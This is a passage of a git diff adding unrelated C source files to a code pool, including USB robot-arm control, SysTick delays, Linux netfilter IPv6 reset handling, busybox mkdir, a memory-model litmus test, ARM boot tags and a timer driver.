+    libusb_control_transfer(handle, LIBUSB_REQUEST_TYPE_VENDOR | LIBUSB_RECIPIENT_DEVICE, 6, 0x100, 0, buf, 3, 0);
+
+}
+
+
+void
+edgerbtarm_ctrl_motor(int motorn, motor_dir direction)
+{
+    if ((motorn >= 0) && (motorn <= 5)) { 
+        motors[motorn] = direction;
+    } else if (motorn == -1) {
+        if (direction == motor_forward) {
+            led = true;
+        } else if (direction == motor_back) {
+            led = false;
+        }    
+    } else {
+        return; /* bad motor number */
+    }
+    
+    control_arm(handle, motors, led); 
+}
+
+void
+edgerbtarm_stop_arm(void)
+{
+    stop_arm(handle);
+}
+
+int
+edgerbtarm_init(void)
+{
+
+    libusb_device **list;
+    ssize_t cnt;
+    ssize_t i = 0;
+    int err = 1;
+
+    motors = calloc(5, sizeof(motor_dir));
+
+    libusb_init(NULL);
+
+    libusb_set_debug(NULL, 3);
+
+    cnt = libusb_get_device_list(NULL, &list);
+
+    if (cnt < 0) {
+        libusb_exit(NULL);
+        return -1;
+    }
+
+    /* discover devices */
+    for (i = 0; i < cnt; i++) {
+        libusb_device *device = list[i];
+        if (is_interesting(device)) {
+            err = libusb_open(device, &handle);
+            break;
+        }
+    }
+
+    libusb_free_device_list(list, 1);
+
+    if (err) {
+        libusb_exit(NULL);
+        return -1;
+    } 
+
+    return 0;
+}
+
+
+int
+edgerbtarm_close(void)
+{
+    stop_arm(handle); /* shut it all off */
+
+    libusb_close(handle);
+
+    libusb_exit(NULL);
+
+    return 0;
+}
diff --git a/pool/shard001/C/0022613_SysTick.c b/pool/shard001/C/0022613_SysTick.c
new file mode 100644
index 0000000000000000000000000000000000000000..940b582b163636bad06bba18fdeffd5036f93007
--- /dev/null
+++ b/pool/shard001/C/0022613_SysTick.c
@@ -0,0 +1,64 @@
+#include "SysTick.h"
+#include "tm4c123gh6pm.h"
+
+volatile unsigned long long Counts = 0;
+float Period; 
+
+/** @brief  Initialize Systick periodic interrupts
+  * @input  Interrupt period 
+  * @output None
+  */
+void SysTick_Init(unsigned long period)
+{
+	Period = period;   // to be used in delay functions
+	
+	NVIC_ST_CTRL_R = 0;                // disable SysTick during setup
+	NVIC_ST_RELOAD_R = period - 1 ;    // reload value (max: 2^24 - 1)
+ 	NVIC_ST_CURRENT_R = 0;             // any write to current clears it
+	NVIC_SYS_PRI3_R = (NVIC_SYS_PRI3_R&0x00FFFFFF)|0x40000000;  // priority 2
+  NVIC_ST_CTRL_R = 0x07;             // enable SysTick with core clock and interrupts
+	
+  EnableInterrupts();
+}
+
+/** @brief  Executed every (Period / CLOCK_FREQ) sec
+  * @input  None
+  * @output None
+  */
+void SysTick_Handler(void)
+{
+	Counts++;
+}
+
+/** @brief  Delay function in seconds
+  * @input  Seconds
+  * @output None
+  */
+void delay_sec(unsigned long time)
+{
+	float curTime;
+	curTime = Counts * Period / CLOCK_FREQ;     // read the current time in sec
+	while((curTime + time) > (Counts * Period / CLOCK_FREQ));  // wait required amount of time
+}
+
+/** @brief  Delay function in miliseconds
+  * @input  Miliseconds
+  * @output None
+  */
+void delay_ms(unsigned long time)
+{
+	float curTime;
+	curTime = Counts * Period / CLOCK_FREQ * SEC_TO_MSEC;     // read the current time in msec
+	while((curTime + time) > (Counts * Period / CLOCK_FREQ * SEC_TO_MSEC));  // wait required amount of time
+}
+
+/** @brief  Delay function in microseconds
+  * @input  Microseconds
+  * @output None
+  */
+void delay_us(unsigned long time)
+{
+	float curTime;
+	curTime = Counts * Period / CLOCK_FREQ * SEC_TO_USEC;     // read the current time in usec
+	while((curTime + time) > (Counts * Period / CLOCK_FREQ * SEC_TO_USEC));  // wait required amount of time
+}
diff --git a/pool/shard001/C/0022615_nf_reject_ipv6.c b/pool/shard001/C/0022615_nf_reject_ipv6.c
new file mode 100644
index 0000000000000000000000000000000000000000..015eb8a80766f477ed797d496762f4fb2e6f7661
--- /dev/null
+++ b/pool/shard001/C/0022615_nf_reject_ipv6.c
@@ -0,0 +1,210 @@
+/* (C) 1999-2001 Paul `Rusty' Russell
+ * (C) 2002-2004 Netfilter Core Team <coreteam@netfilter.org>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/module.h>
+#include <net/ipv6.h>
+#include <net/ip6_route.h>
+#include <net/ip6_fib.h>
+#include <net/ip6_checksum.h>
+#include <linux/netfilter_ipv6.h>
+#include <net/netfilter/ipv6/nf_reject.h>
+
+const struct tcphdr *nf_reject_ip6_tcphdr_get(struct sk_buff *oldskb,
+					      struct tcphdr *otcph,
+					      unsigned int *otcplen, int hook)
+{
+	const struct ipv6hdr *oip6h = ipv6_hdr(oldskb);
+	u8 proto;
+	__be16 frag_off;
+	int tcphoff;
+
+	proto = oip6h->nexthdr;
+	tcphoff = ipv6_skip_exthdr(oldskb, ((u8*)(oip6h+1) - oldskb->data),
+				   &proto, &frag_off);
+
+	if ((tcphoff < 0) || (tcphoff > oldskb->len)) {
+		pr_debug("Cannot get TCP header.\n");
+		return NULL;
+	}
+
+	*otcplen = oldskb->len - tcphoff;
+
+	/* IP header checks: fragment, too short. */
+	if (proto != IPPROTO_TCP || *otcplen < sizeof(struct tcphdr)) {
+		pr_debug("proto(%d) != IPPROTO_TCP or too short (len = %d)\n",
+			 proto, *otcplen);
+		return NULL;
+	}
+
+	otcph = skb_header_pointer(oldskb, tcphoff, sizeof(struct tcphdr),
+				   otcph);
+	if (otcph == NULL)
+		return NULL;
+
+	/* No RST for RST. */
+	if (otcph->rst) {
+		pr_debug("RST is set\n");
+		return NULL;
+	}
+
+	/* Check checksum. */
+	if (nf_ip6_checksum(oldskb, hook, tcphoff, IPPROTO_TCP)) {
+		pr_debug("TCP checksum is invalid\n");
+		return NULL;
+	}
+
+	return otcph;
+}
+EXPORT_SYMBOL_GPL(nf_reject_ip6_tcphdr_get);
+
+struct ipv6hdr *nf_reject_ip6hdr_put(struct sk_buff *nskb,
+				     const struct sk_buff *oldskb,
+				     __be16 protocol, int hoplimit)
+{
+	struct ipv6hdr *ip6h;
+	const struct ipv6hdr *oip6h = ipv6_hdr(oldskb);
+#define DEFAULT_TOS_VALUE	0x0U
+	const __u8 tclass = DEFAULT_TOS_VALUE;
+
+	skb_put(nskb, sizeof(struct ipv6hdr));
+	skb_reset_network_header(nskb);
+	ip6h = ipv6_hdr(nskb);
+	ip6_flow_hdr(ip6h, tclass, 0);
+	ip6h->hop_limit = hoplimit;
+	ip6h->nexthdr = protocol;
+	ip6h->saddr = oip6h->daddr;
+	ip6h->daddr = oip6h->saddr;
+
+	nskb->protocol = htons(ETH_P_IPV6);
+
+	return ip6h;
+}
+EXPORT_SYMBOL_GPL(nf_reject_ip6hdr_put);
+
+void nf_reject_ip6_tcphdr_put(struct sk_buff *nskb,
+			      const struct sk_buff *oldskb,
+			      const struct tcphdr *oth, unsigned int otcplen)
+{
+	struct tcphdr *tcph;
+	int needs_ack;
+
+	skb_reset_transport_header(nskb);
+	tcph = (struct tcphdr *)skb_put(nskb, sizeof(struct tcphdr));
+	/* Truncate to length (no data) */
+	tcph->doff = sizeof(struct tcphdr)/4;
+	tcph->source = oth->dest;
+	tcph->dest = oth->source;
+
+	if (oth->ack) {
+		needs_ack = 0;
+		tcph->seq = oth->ack_seq;
+		tcph->ack_seq = 0;
+	} else {
+		needs_ack = 1;
+		tcph->ack_seq = htonl(ntohl(oth->seq) + oth->syn + oth->fin +
+				      otcplen - (oth->doff<<2));
+		tcph->seq = 0;
+	}
+
+	/* Reset flags */
+	((u_int8_t *)tcph)[13] = 0;
+	tcph->rst = 1;
+	tcph->ack = needs_ack;
+	tcph->window = 0;
+	tcph->urg_ptr = 0;
+	tcph->check = 0;
+
+	/* Adjust TCP checksum */
+	tcph->check = csum_ipv6_magic(&ipv6_hdr(nskb)->saddr,
+				      &ipv6_hdr(nskb)->daddr,
+				      sizeof(struct tcphdr), IPPROTO_TCP,
+				      csum_partial(tcph,
+						   sizeof(struct tcphdr), 0));
+}
+EXPORT_SYMBOL_GPL(nf_reject_ip6_tcphdr_put);
+
+void nf_send_reset6(struct net *net, struct sk_buff *oldskb, int hook)
+{
+	struct sk_buff *nskb;
+	struct tcphdr _otcph;
+	const struct tcphdr *otcph;
+	unsigned int otcplen, hh_len;
+	const struct ipv6hdr *oip6h = ipv6_hdr(oldskb);
+	struct ipv6hdr *ip6h;
+	struct dst_entry *dst = NULL;
+	struct flowi6 fl6;
+
+	if ((!(ipv6_addr_type(&oip6h->saddr) & IPV6_ADDR_UNICAST)) ||
+	    (!(ipv6_addr_type(&oip6h->daddr) & IPV6_ADDR_UNICAST))) {
+		pr_debug("addr is not unicast.\n");
+		return;
+	}
+
+	otcph = nf_reject_ip6_tcphdr_get(oldskb, &_otcph, &otcplen, hook);
+	if (!otcph)
+		return;
+
+	memset(&fl6, 0, sizeof(fl6));
+	fl6.flowi6_proto = IPPROTO_TCP;
+	fl6.saddr = oip6h->daddr;
+	fl6.daddr = oip6h->saddr;
+	fl6.fl6_sport = otcph->dest;
+	fl6.fl6_dport = otcph->source;
+	security_skb_classify_flow(oldskb, flowi6_to_flowi(&fl6));
+	dst = ip6_route_output(net, NULL, &fl6);
+	if (dst == NULL || dst->error) {
+		dst_release(dst);
+		return;
+	}
+	dst = xfrm_lookup(net, dst, flowi6_to_flowi(&fl6), NULL, 0);
+	if (IS_ERR(dst))
+		return;
+
+	hh_len = (dst->dev->hard_header_len + 15)&~15;
+	nskb = alloc_skb(hh_len + 15 + dst->header_len + sizeof(struct ipv6hdr)
+			 + sizeof(struct tcphdr) + dst->trailer_len,
+			 GFP_ATOMIC);
+
+	if (!nskb) {
+		net_dbg_ratelimited("cannot alloc skb\n");
+		dst_release(dst);
+		return;
+	}
+
+	skb_dst_set(nskb, dst);
+
+	skb_reserve(nskb, hh_len + dst->header_len);
+	ip6h = nf_reject_ip6hdr_put(nskb, oldskb, IPPROTO_TCP,
+				    ip6_dst_hoplimit(dst));
+	nf_reject_ip6_tcphdr_put(nskb, oldskb, otcph, otcplen);
+
+	nf_ct_attach(nskb, oldskb);
+
+#if IS_ENABLED(CONFIG_BRIDGE_NETFILTER)
+	/* If we use ip6_local_out for bridged traffic, the MAC source on
+	 * the RST will be ours, instead of the destination's.  This confuses
+	 * some routers/firewalls, and they drop the packet.  So we need to
+	 * build the eth header using the original destination's MAC as the
+	 * source, and send the RST packet directly.
+	 */
+	if (oldskb->nf_bridge) {
+		struct ethhdr *oeth = eth_hdr(oldskb);
+		nskb->dev = oldskb->nf_bridge->physindev;
+		nskb->protocol = htons(ETH_P_IPV6);
+		ip6h->payload_len = htons(sizeof(struct tcphdr));
+		if (dev_hard_header(nskb, nskb->dev, ntohs(nskb->protocol),
+				    oeth->h_source, oeth->h_dest, nskb->len) < 0)
+			return;
+		dev_queue_xmit(nskb);
+	} else
+#endif
+		ip6_local_out(nskb);
+}
+EXPORT_SYMBOL_GPL(nf_send_reset6);
+
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0022616_mkdir.c b/pool/shard001/C/0022616_mkdir.c
new file mode 100644
index 0000000000000000000000000000000000000000..6f7b004dd3ca3db9f48d2de13a5bec02e1f7e7d8
--- /dev/null
+++ b/pool/shard001/C/0022616_mkdir.c
@@ -0,0 +1,102 @@
+/* vi: set sw=4 ts=4: */
+/*
+ * Mini mkdir implementation for busybox
+ *
+ * Copyright (C) 2001 Matt Kraai <kraai@alumni.carnegiemellon.edu>
+ *
+ * Licensed under GPLv2 or later, see file LICENSE in this source tree.
+ */
+
+/* BB_AUDIT SUSv3 compliant */
+/* http://www.opengroup.org/onlinepubs/007904975/utilities/mkdir.html */
+
+/* Mar 16, 2003      Manuel Novoa III   (mjn3@codepoet.org)
+ *
+ * Fixed broken permission setting when -p was used; especially in
+ * conjunction with -m.
+ */
+
+/* Nov 28, 2006      Yoshinori Sato <ysato@users.sourceforge.jp>: Add SELinux Support.
+ */
+
+//usage:#define mkdir_trivial_usage
+//usage:       "[OPTIONS] DIRECTORY..."
+//usage:#define mkdir_full_usage "\n\n"
+//usage:       "Create DIRECTORY\n"
+//usage:     "\n	-m MODE	Mode"
+//usage:     "\n	-p	No error if exists; make parent directories as needed"
+//usage:	IF_SELINUX(
+//usage:     "\n	-Z	Set security context"
+//usage:	)
+//usage:
+//usage:#define mkdir_example_usage
+//usage:       "$ mkdir /tmp/foo\n"
+//usage:       "$ mkdir /tmp/foo\n"
+//usage:       "/tmp/foo: File exists\n"
+//usage:       "$ mkdir /tmp/foo/bar/baz\n"
+//usage:       "/tmp/foo/bar/baz: No such file or directory\n"
+//usage:       "$ mkdir -p /tmp/foo/bar/baz\n"
+
+#include "libbb.h"
+
+/* This is a NOFORK applet. Be very careful! */
+
+#if ENABLE_FEATURE_MKDIR_LONG_OPTIONS
+static const char mkdir_longopts[] ALIGN1 =
+	"mode\0"    Required_argument "m"
+	"parents\0" No_argument       "p"
+#if ENABLE_SELINUX
+	"context\0" Required_argument "Z"
+#endif
+#if ENABLE_FEATURE_VERBOSE
+	"verbose\0" No_argument       "v"
+#endif
+	;
+#endif
+
+int mkdir_main(int argc, char **argv) MAIN_EXTERNALLY_VISIBLE;
+int mkdir_main(int argc UNUSED_PARAM, char **argv)
+{
+	long mode = -1;
+	int status = EXIT_SUCCESS;
+	int flags = 0;
+	unsigned opt;
+	char *smode;
+#if ENABLE_SELINUX
+	security_context_t scontext;
+#endif
+
+#if ENABLE_FEATURE_MKDIR_LONG_OPTIONS
+	applet_long_options = mkdir_longopts;
+#endif
+	opt = getopt32(argv, "m:pv" IF_SELINUX("Z:"), &smode IF_SELINUX(,&scontext));
+	if (opt & 1) {
+		mode_t mmode = bb_parse_mode(smode, 0777);
+		if (mmode == (mode_t)-1) {
+			bb_error_msg_and_die("invalid mode '%s'", smode);
+		}
+		mode = mmode;
+	}
+	if (opt & 2)
+		flags |= FILEUTILS_RECUR;
+	if ((opt & 4) && FILEUTILS_VERBOSE)
+		flags |= FILEUTILS_VERBOSE;
+#if ENABLE_SELINUX
+	if (opt & 8) {
+		selinux_or_die();
+		setfscreatecon_or_die(scontext);
+	}
+#endif
+
+	argv += optind;
+	if (!argv[0])
+		bb_show_usage();
+
+	do {
+		if (bb_make_directory(*argv, mode, flags)) {
+			status = EXIT_FAILURE;
+		}
+	} while (*++argv);
+
+	return status;
+}
diff --git a/pool/shard001/C/0022628_MP+PPO715.c b/pool/shard001/C/0022628_MP+PPO715.c
new file mode 100644
index 0000000000000000000000000000000000000000..7490d1bb5cf4e2f079997f6fe4aa8eb9ba2f1135
--- /dev/null
+++ b/pool/shard001/C/0022628_MP+PPO715.c
@@ -0,0 +1,67 @@
+/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo
+ * This benchmark is part of SWSC */
+
+#include <assert.h>
+#include <stdint.h>
+#include <stdatomic.h>
+#include <pthread.h>
+
+atomic_int vars[4]; 
+atomic_int atom_1_r1_1; 
+atomic_int atom_1_r11_1; 
+
+void *t0(void *arg){
+label_1:;
+  atomic_store_explicit(&vars[0], 2, memory_order_seq_cst);
+
+  atomic_store_explicit(&vars[1], 1, memory_order_seq_cst);
+  return NULL;
+}
+
+void *t1(void *arg){
+label_2:;
+  int v2_r1 = atomic_load_explicit(&vars[1], memory_order_seq_cst);
+  int v3_r3 = v2_r1 ^ v2_r1;
+  int v6_r4 = atomic_load_explicit(&vars[2+v3_r3], memory_order_seq_cst);
+  int v7_r6 = v6_r4 ^ v6_r4;
+  int v8_r6 = v7_r6 + 1;
+  atomic_store_explicit(&vars[3], v8_r6, memory_order_seq_cst);
+  int v10_r8 = atomic_load_explicit(&vars[3], memory_order_seq_cst);
+  int v11_cmpeq = (v10_r8 == v10_r8);
+  if (v11_cmpeq)  goto lbl_LC00; else goto lbl_LC00;
+lbl_LC00:;
+  atomic_store_explicit(&vars[0], 1, memory_order_seq_cst);
+  int v13_r11 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
+  int v20 = (v2_r1 == 1);
+  atomic_store_explicit(&atom_1_r1_1, v20, memory_order_seq_cst);
+  int v21 = (v13_r11 == 1);
+  atomic_store_explicit(&atom_1_r11_1, v21, memory_order_seq_cst);
+  return NULL;
+}
+
+int main(int argc, char *argv[]){
+  pthread_t thr0; 
+  pthread_t thr1; 
+
+  atomic_init(&vars[1], 0);
+  atomic_init(&vars[0], 0);
+  atomic_init(&vars[3], 0);
+  atomic_init(&vars[2], 0);
+  atomic_init(&atom_1_r1_1, 0);
+  atomic_init(&atom_1_r11_1, 0);
+
+  pthread_create(&thr0, NULL, t0, NULL);
+  pthread_create(&thr1, NULL, t1, NULL);
+
+  pthread_join(thr0, NULL);
+  pthread_join(thr1, NULL);
+
+  int v14 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
+  int v15 = (v14 == 2);
+  int v16 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst);
+  int v17 = atomic_load_explicit(&atom_1_r11_1, memory_order_seq_cst);
+  int v18_conj = v16 & v17;
+  int v19_conj = v15 & v18_conj;
+  if (v19_conj == 1) assert(0);
+  return 0;
+}
diff --git a/pool/shard001/C/0022635_atag.c b/pool/shard001/C/0022635_atag.c
new file mode 100644
index 0000000000000000000000000000000000000000..8e93e23bab28f77a9da68f825f2f85591b9bde62
--- /dev/null
+++ b/pool/shard001/C/0022635_atag.c
@@ -0,0 +1,166 @@
+/* 
+ * OpenVirtualization: 
+ * For additional details and support contact developer@sierraware.com.
+ * Additional documentation can be found at www.openvirtualization.org
+ * 
+ * Copyright (C) 2011 SierraWare
+ * 
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ * 
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
+ * 
+ * atag implementation
+ */
+
+#include <sw_types.h>
+#include <atag.h>
+
+/**
+* @brief 
+*
+* @param value
+*
+* @return 
+*/
+static inline u32 convert_endianess(u32 value)
+{
+    u32 mod_value = 0;
+    mod_value |= (0xFF000000 & value) >> 24;
+    mod_value |= (0x00FF0000 & value) >> 8;
+    mod_value |= (0x0000FF00 & value) << 8;
+    mod_value |= (0x000000FF & value) << 24;
+
+    return mod_value;
+}
+
+/**
+* @brief 
+*
+* @param image_addr
+* @param image_header
+*/
+void read_kernel_image_header(u32* image_addr,
+                struct kernel_image_header* image_header)
+{
+    int image_name_index;
+
+    struct kernel_image_header* image = (struct kernel_image_header*)
+
+                                            image_addr;
+    image_header->ker_img_magic =
+                    image->ker_img_magic;
+    image_header->ker_img_header_crc =
+                    image->ker_img_header_crc;
+    image_header->ker_img_create_time =
+                    image->ker_img_create_time;
+    image_header->ker_img_size =
+                   convert_endianess(image->ker_img_size);
+    image_header->ker_img_load_addr =
+                   convert_endianess(image->ker_img_load_addr);
+    image_header->ker_img_entry_point =
+                   convert_endianess(image->ker_img_entry_point);
+    image_header->ker_img_data_crc =
+                    image->ker_img_data_crc;
+    image_header->ker_img_os_name =
+                    image->ker_img_os_name;
+    image_header->ker_img_target_arch =
+                    image->ker_img_target_arch;
+    image_header->ker_img_type =
+                    image->ker_img_type;
+    image_header->ker_img_comp_type =
+                    image->ker_img_comp_type;
+    for(image_name_index = 0; image_name_index < KER_IMG_NAME_LEN;
+                                                 image_name_index++)
+    {
+        image_header->ker_img_name[image_name_index] =
+                    image->ker_img_name[image_name_index];
+
+    }
+
+    return;
+}
+struct tag * setup_start_tag (struct tag *params)
+{
+	params->hdr.tag = ATAG_CORE;
+	params->hdr.size = tag_size (tag_core);
+
+	params->u.core.flags = 0;
+	params->u.core.pagesize = 0;
+	params->u.core.rootdev = 0;
+
+	params = tag_next (params);
+
+	return params;
+}
+
+struct tag * setup_commandline_tag (struct tag *params, char *commandline)
+{
+	char *p;
+
+	if (!commandline)
+		return;
+
+	/* eat leading white space */
+	for (p = commandline; *p == ' '; p++);
+
+	/* skip non-existent command lines so the kernel will still
+	 * use its default command line.
+	 */
+	if (*p == '\0')
+		return;
+
+	params->hdr.tag = ATAG_CMDLINE;
+	params->hdr.size =
+		(sizeof (struct tag_header) + strlen (p) + 1 + 4) >> 2;
+
+	strcpy (params->u.cmdline.cmdline, p);
+
+	params = tag_next (params);
+
+	return params;
+}
+
+struct tag * setup_initrd_tag (struct tag *params, u32 initrd_start, u32 initrd_end)
+{
+	params->hdr.tag = ATAG_INITRD2;
+	params->hdr.size = tag_size (tag_initrd);
+
+	params->u.initrd.start = initrd_start;
+	params->u.initrd.size = initrd_end - initrd_start;
+
+	params = tag_next (params);
+	return params;
+}
+
+struct tag * setup_end_tag (struct tag *params)
+{
+	params->hdr.tag = ATAG_NONE;
+	params->hdr.size = 0;
+	return params;
+}
+
+struct tag * setup_memory_tags (u32 nr_dram_banks, u32 dram_start, u32 dram_bank_size, struct tag *params)
+{
+	int i;
+
+	for (i = 0; i < nr_dram_banks; i++) {
+		params->hdr.tag = ATAG_MEM;
+		params->hdr.size = tag_size (tag_mem32);
+
+		params->u.mem.start = dram_start + (i * dram_bank_size);	
+		params->u.mem.size = dram_bank_size;
+
+		params = tag_next (params);
+	}
+	return params;
+}
diff --git a/pool/shard001/C/0022644_timer.c b/pool/shard001/C/0022644_timer.c
new file mode 100644
index 0000000000000000000000000000000000000000..2938927e066e1b3267c40b8289d9291d3ec80a8a
--- /dev/null
+++ b/pool/shard001/C/0022644_timer.c
@@ -0,0 +1,171 @@
+/*
+ *  linux/arch/arm/mach-balongv7r2/timer.c
+ *
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ */
+#include <linux/clocksource.h>
+#include <linux/clockchips.h>
+#include <linux/interrupt.h>
+#include <linux/irq.h>
+#include <linux/io.h>
+
+#include <mach/timer.h>
+#include <asm/mach/time.h>
+#include <mach/balongv7r2_iomap.h>
+
+/*
+ * These timers are currently always setup to be clocked at 1MHz.
+ */
+#define TIMER_FREQ_KHZ	(19200)
+#define TIMER_RELOAD	(TIMER_FREQ_KHZ * 1000 / HZ)
+
+static void __iomem *clksrc_base;
+
+static cycle_t balong_timer_read(struct clocksource *cs)
+{
+    unsigned long ctrl;
+    ctrl = readl(clksrc_base + TIMER_CTRL);
+    ctrl |= TIMER_CTRL_LOCK;/* [false alarm]:Îó±¨ */
+    writel(ctrl, clksrc_base + TIMER_CTRL);
+    return ~readl(clksrc_base + TIMER_VALUE);
+}
+
+static struct clocksource clocksource_balong = {
+	.name		= "balong clk cs",
+	.rating		= 200,
+	.read		= balong_timer_read,
+	.mask		= CLOCKSOURCE_MASK(32),
+	.shift		= 20,
+	.flags		= CLOCK_SOURCE_IS_CONTINUOUS,
+};
+
+void __init balong_clocksource_init(void __iomem *base)
+{
+	struct clocksource *cs = &clocksource_balong;
+
+	clksrc_base = base;
+
+	/* setup timer 9 as free-running clocksource */
+	writel(0, clksrc_base + TIMER_CTRL);
+	writel(0xffffffff, clksrc_base + TIMER_LOAD);	
+	writel(TIMER_CTRL_ENABLE | TIMER_CTRL_INTDIS,
+		   clksrc_base + TIMER_CTRL);
+
+	cs->mult = clocksource_khz2mult(TIMER_FREQ_KHZ, cs->shift);
+	clocksource_register(cs);
+}
+
+static void __iomem *clkevt_base;
+
+/*
+ * IRQ handler for the timer
+ */
+static irqreturn_t balong_timer_interrupt(int irq, void *dev_id)
+{
+    struct clock_event_device *evt = dev_id;
+    unsigned long ctrl;
+
+    /* clear the interrupt */
+	readl(clkevt_base + TIMER_INTCLR);
+
+	if (CLOCK_EVT_MODE_ONESHOT == evt->mode)
+	{
+		ctrl = readl(clkevt_base + TIMER_CTRL);
+		ctrl &= ~(TIMER_CTRL_ENABLE);/* [false alarm]:Îó±¨ */
+		writel(ctrl, clkevt_base + TIMER_CTRL);
+	}
+
+	evt->event_handler(evt);
+
+	return IRQ_HANDLED;
+}
+
+static void balong_timer_set_mode(enum clock_event_mode mode,
+	struct clock_event_device *evt)
+{
+	unsigned long ctrl = 0;
+
+	switch (mode) {
+	case CLOCK_EVT_MODE_PERIODIC:
+		writel(TIMER_RELOAD, clkevt_base + TIMER_LOAD);
+		ctrl |= TIMER_CTRL_PERIODIC | TIMER_CTRL_ENABLE;/* [false alarm]:Îó±¨ */
+		break;
+
+	case CLOCK_EVT_MODE_ONESHOT:
+		/* period set, and timer enabled in 'next_event' hook */
+		ctrl = 0;/* [false alarm]:Îó±¨ */
+		break;
+
+	case CLOCK_EVT_MODE_UNUSED:
+	case CLOCK_EVT_MODE_SHUTDOWN:
+	default:
+		break;
+	}
+
+	writel(ctrl, clkevt_base + TIMER_CTRL);
+}
+
+static int balong_timer_set_next_event(unsigned long next,
+	struct clock_event_device *evt)
+{
+	writel(next, clkevt_base + TIMER_LOAD);
+	writel(TIMER_CTRL_ENABLE | TIMER_CTRL_PERIODIC, clkevt_base + TIMER_CTRL);
+
+	return 0;
+}
+
+static struct clock_event_device balong_clockevent = {
+	.name				= "balong clk evt",
+	.shift				= 32,
+	.features       	= CLOCK_EVT_FEAT_PERIODIC | CLOCK_EVT_FEAT_ONESHOT,
+	.set_mode			= balong_timer_set_mode,
+	.set_next_event		= balong_timer_set_next_event,
+	.rating				= 300,
+	.cpumask			= cpu_all_mask,
+};
+
+static struct irqaction balong_timer_irq = {
+	.name		= "balong system timer",
+	.flags		= IRQF_DISABLED | IRQF_TIMER | IRQF_IRQPOLL,
+	.handler	= balong_timer_interrupt,
+	.dev_id		= &balong_clockevent,
+};
+
+void __init balong_clockevent_init(void __iomem *base, unsigned int timer_irq)
+{
+	struct clock_event_device *evt = &balong_clockevent;
+
+	clkevt_base = base;
+
+	evt->irq = timer_irq;
+	evt->mult = div_sc(TIMER_FREQ_KHZ, NSEC_PER_MSEC, evt->shift);
+	evt->max_delta_ns = clockevent_delta2ns(0xffffffff, evt);
+	evt->min_delta_ns  = clockevent_delta2ns(0xf, evt);
+
+	setup_irq(timer_irq, &balong_timer_irq);
+	clockevents_register_device(evt);
+}
+
+static void __init balongv7r2_timer_init(void)
+{    
+    balong_clockevent_init((void __iomem *)HI_TIMER_14_REGBASE_VIRT_ADDR, INT_LVL_TIMER14);
+    balong_clocksource_init((void __iomem *)HI_TIMER_15_REGBASE_VIRT_ADDR);
+}
+
+struct sys_timer balongv7r2_timer = {
+	.init = balongv7r2_timer_init
+};
+
diff --git a/pool/shard001/C/0022665_mlcp_rpgs.c b/pool/shard001/C/0022665_mlcp_rpgs.c
new file mode 100644
index 0000000000000000000000000000000000000000..e9448b1f3137a12a27a6735b351d5a967d7113e9
--- /dev/null
+++ b/pool/shard001/C/0022665_mlcp_rpgs.c
@@ -0,0 +1,202 @@
+/* Siconos is a program dedicated to modeling, simulation and control
+ * of non smooth dynamical systems.
+ *
+ * Copyright 2022 INRIA.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+*/
+
+#include <float.h>                              // for DBL_EPSILON
+#ifndef __cplusplus
+#include <stdbool.h>                       // for false
+#endif
+#include <stdio.h>                              // for printf
+#include <stdlib.h>                             // for free, malloc
+#include "MLCP_Solvers.h"                       // for mlcp_compute_error
+#include "MixedLinearComplementarityProblem.h"  // for MixedLinearComplement...
+#include "NumericsFwd.h"                        // for SolverOptions, MixedL...
+#include "SiconosBlas.h"                        // for cblas_ddot
+#include "SolverOptions.h"                      // for SolverOptions, SICONO...
+#include "mlcp_cst.h"                           // for SICONOS_DPARAM_MLCP_RHO
+#include "numerics_verbose.h"                     // for numerics_printf
+
+#define EPSDIAG DBL_EPSILON
+
+/*
+ * double *z : size n+m
+ * double *w : size n+m
+ */
+
+
+void mlcp_rpgs(MixedLinearComplementarityProblem* problem, double *z, double *w, int *info, SolverOptions* options)
+{
+  double* A = problem->A;
+  double* B = problem->B;
+  double* C = problem->C;
+  double* D = problem->D;
+  double* a = problem->a;
+  double* b = problem->b;
+  int n = problem->n;
+  int m = problem->m;
+  double *u = &z[0];
+  double *v = &z[n];
+
+  int incy, incAx, incBx;
+  int i, iter;
+  int itermax, verbose;
+  double err, vi, viprev, uiprev;
+  double tol, rho;
+  double *diagA, *diagB;
+  verbose = 0;
+  incy = 1;
+  /* Recup input */
+
+  itermax = options->iparam[SICONOS_IPARAM_MAX_ITER];
+  tol   = options->dparam[SICONOS_DPARAM_TOL];
+  rho   = options->dparam[SICONOS_DPARAM_MLCP_RHO];
+
+  /* Initialize output */
+
+  options->iparam[SICONOS_IPARAM_ITER_DONE] = 0;
+  options->dparam[SICONOS_DPARAM_RESIDU] = 0.0;
+
+  /* Allocation */
+
+  diagA = (double*)malloc(n * sizeof(double));
